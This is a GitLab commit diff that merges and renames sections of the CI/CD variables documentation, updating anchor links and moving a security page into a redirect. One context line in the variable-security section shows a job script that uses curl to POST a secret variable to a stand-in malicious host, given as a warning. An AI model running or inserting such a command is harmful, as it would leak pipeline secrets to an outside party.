Commit f219c98a authored by Vitaly Slobodin's avatar Vitaly Slobodin

Merge branch 'docs-variables-update' into 'master'

Combine variables documentation

See merge request gitlab-org/gitlab!62798
parents 0470e3ad 2dcb89ea
......@@ -8,7 +8,7 @@
%p
= _('Variables store information, like passwords and secret keys, that you can use in job scripts. All projects on the instance can use these variables.')
= link_to s_('Learn more.'), help_page_path('ci/variables/README', anchor: 'instance-cicd-variables'), target: '_blank', rel: 'noopener noreferrer'
= link_to s_('Learn more.'), help_page_path('ci/variables/README', anchor: 'add-a-cicd-variable-to-an-instance'), target: '_blank', rel: 'noopener noreferrer'
%p
= _('Variables can be:')
%ul
......
......@@ -265,7 +265,7 @@ test_async:
## Contexts and variables
CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/README.md#group-cicd-variables) can be stored outside the individual projects, and securely passed into pipelines across multiple projects.
CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/README.md#add-a-cicd-variable-to-a-group) can be stored outside the individual projects, and securely passed into pipelines across multiple projects.
## Orbs
......
......@@ -25,7 +25,7 @@ tests access to the GitLab API.
```
1. To set values for the `GITLAB_HTTPS` and `GITLAB_ROOT_PASSWORD`,
[assign them to a variable in the user interface](../variables/README.md#project-cicd-variables).
[assign them to a variable in the user interface](../variables/README.md#add-a-cicd-variable-to-a-project).
Then assign that variable to the corresponding variable in your
`.gitlab-ci.yml` file.
......
......@@ -16,9 +16,9 @@ CI/CD variables are a type of environment variable. You can use them to:
You can use [predefined CI/CD variables](#predefined-cicd-variables) or define custom:
- [Variables in the `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
- [Project CI/CD variables](#project-cicd-variables).
- [Group CI/CD variables](#group-cicd-variables).
- [Instance CI/CD variables](#instance-cicd-variables).
- [Project CI/CD variables](#add-a-cicd-variable-to-a-project).
- [Group CI/CD variables](#add-a-cicd-variable-to-a-group).
- [Instance CI/CD variables](#add-a-cicd-variable-to-an-instance).
> For more information about advanced use of GitLab CI/CD:
>
......@@ -56,10 +56,10 @@ You can create custom CI/CD variables:
- For a project:
- [In the project's `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
- [In the project's settings](#project-cicd-variables).
- [In the project's settings](#add-a-cicd-variable-to-a-project).
- [With the API](../../api/project_level_variables.md).
- For all projects in a group [in the group's setting](#group-cicd-variables).
- For all projects in a GitLab instance [in the instance's settings](#instance-cicd-variables).
- For all projects in a group [in the group's setting](#add-a-cicd-variable-to-a-group).
- For all projects in a GitLab instance [in the instance's settings](#add-a-cicd-variable-to-an-instance).
You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs),
or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines).
......@@ -123,7 +123,7 @@ Use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manua
keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines)
for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually).
### Project CI/CD variables
### Add a CI/CD variable to a project
You can add CI/CD variables to a project's settings. Only project members with the
[Maintainer role](../../user/permissions.md#project-members-permissions)
......@@ -138,7 +138,7 @@ To add or update variables in the project settings:
- **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
- **Value**: No limitations.
- **Type**: [`File` or `Variable`](#cicd-variable-types).
- **Environment scope**: `All`, or specific [environments](../environments/index.md).
- **Environment scope**: (Optional) `All`, or specific [environments](../environments/index.md).
- **Protect variable** (Optional): If selected, the variable is only available
in pipelines that run on protected branches or tags.
- **Mask variable** (Optional): If selected, the variable's **Value** is masked
......@@ -161,10 +161,9 @@ The output is:
![Output custom variable](img/custom_variables_output.png)
### Group CI/CD variables
### Add a CI/CD variable to a group
> - Introduced in GitLab 9.4.
> - Support for [environment scopes](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) added to GitLab Premium in 13.11
> Support for [environment scopes](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) added to GitLab Premium in 13.11
To make a CI/CD variable available to all projects in a group, define a group CI/CD variable.
......@@ -181,14 +180,16 @@ To add a group variable:
- **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
- **Value**: No limitations.
- **Type**: [`File` or `Variable`](#cicd-variable-types).
- **Environment scope** (optional): `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)**
- **Environment scope** (Optional): `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)**
- **Protect variable** (Optional): If selected, the variable is only available
in pipelines that run on protected branches or tags.
- **Mask variable** (Optional): If selected, the variable's **Value** is masked
in job logs. The variable fails to save if the value does not meet the
[masking requirements](#mask-a-cicd-variable).
To view the group-level variables available in a project:
#### View all group-level variables available in a project
To view all the group-level variables available in a project:
1. In the project, go to **Settings > CI/CD**.
1. Expand the **Variables** section.
......@@ -198,7 +199,7 @@ inherited.
![CI/CD settings - inherited variables](img/inherited_group_variables_v12_5.png)
### Instance CI/CD variables
### Add a CI/CD variable to an instance
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299879) in GitLab 13.11.
......@@ -337,6 +338,10 @@ build:
- curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
```
Variable values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard)
and stored in the database. This data can only be read and decrypted with a
valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is-lost).
### Custom variables validated by GitLab
Some variables are listed in the UI so you can choose them more quickly.
......@@ -392,9 +397,9 @@ job_name:
- D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test
```
### Windows Batch
### Use variables with Windows Batch
To access environment variables in Windows Batch, surround the variable
To access CI/CD variables in Windows Batch, surround the variable
with `%`:
```yaml
......@@ -544,8 +549,8 @@ The order of precedence for variables is (from highest to lowest):
[scheduled pipeline variables](../pipelines/schedules.md#using-variables),
and [manual pipeline run variables](#override-a-variable-when-running-a-pipeline-manually).
1. Project [variables](#custom-cicd-variables).
1. Group [variables](#group-cicd-variables).
1. Instance [variables](#instance-cicd-variables).
1. Group [variables](#add-a-cicd-variable-to-a-group).
1. Instance [variables](#add-a-cicd-variable-to-an-instance).
1. [Inherited variables](#pass-an-environment-variable-to-another-job).
1. Variables defined in jobs in the `.gitlab-ci.yml` file.
1. Variables defined outside of jobs (globally) in the `.gitlab-ci.yml` file.
......
......@@ -23,7 +23,7 @@ type: index
- [Send email confirmation on sign-up](user_email_confirmation.md)
- [Security of running jobs](https://docs.gitlab.com/runner/security/)
- [Proxying images](asset_proxy.md)
- [CI/CD variables](cicd_variables.md)
- [CI/CD variables](../ci/variables/README.md#cicd-variable-security)
- [Token overview](token_overview.md)
- [Project Import decompressed archive size limits](project_import_decompressed_archive_size_limits.md)
......
---
stage: Verify
group: Pipeline Authoring
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
redirect_to: '../ci/variables/README.md#cicd-variable-security'
remove_date: '2021-07-04'
---
# CI/CD variables **(FREE)**
This document was moved to [another location](../ci/variables/README.md#cicd-variable-security).
CI/CD variables are applied to environments via the runner and can be set from the project's **Settings > CI/CD** page.
The values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) and stored in the database.
This data can only be decrypted with a valid [secrets file](../raketasks/backup_restore.md#when-the-secrets-file-is-lost).
<!-- This redirect file can be deleted after <2021-07-04>. -->
<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
......@@ -778,7 +778,7 @@ variables:
```
In this example `.gitlab-ci.yml`, the `SECRET_OVERRIDES` variable provides the JSON. This is a
[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#instance-cicd-variables):
[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#add-a-cicd-variable-to-an-instance):
```yaml
stages:
......
......@@ -847,7 +847,7 @@ variables:
```
In this example `.gitlab-ci.yml`, the `SECRET_OVERRIDES` variable provides the JSON. This is a
[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#instance-cicd-variables):
[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#add-a-cicd-variable-to-an-instance):
```yaml
stages:
......
Markdown is supported
0%
or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment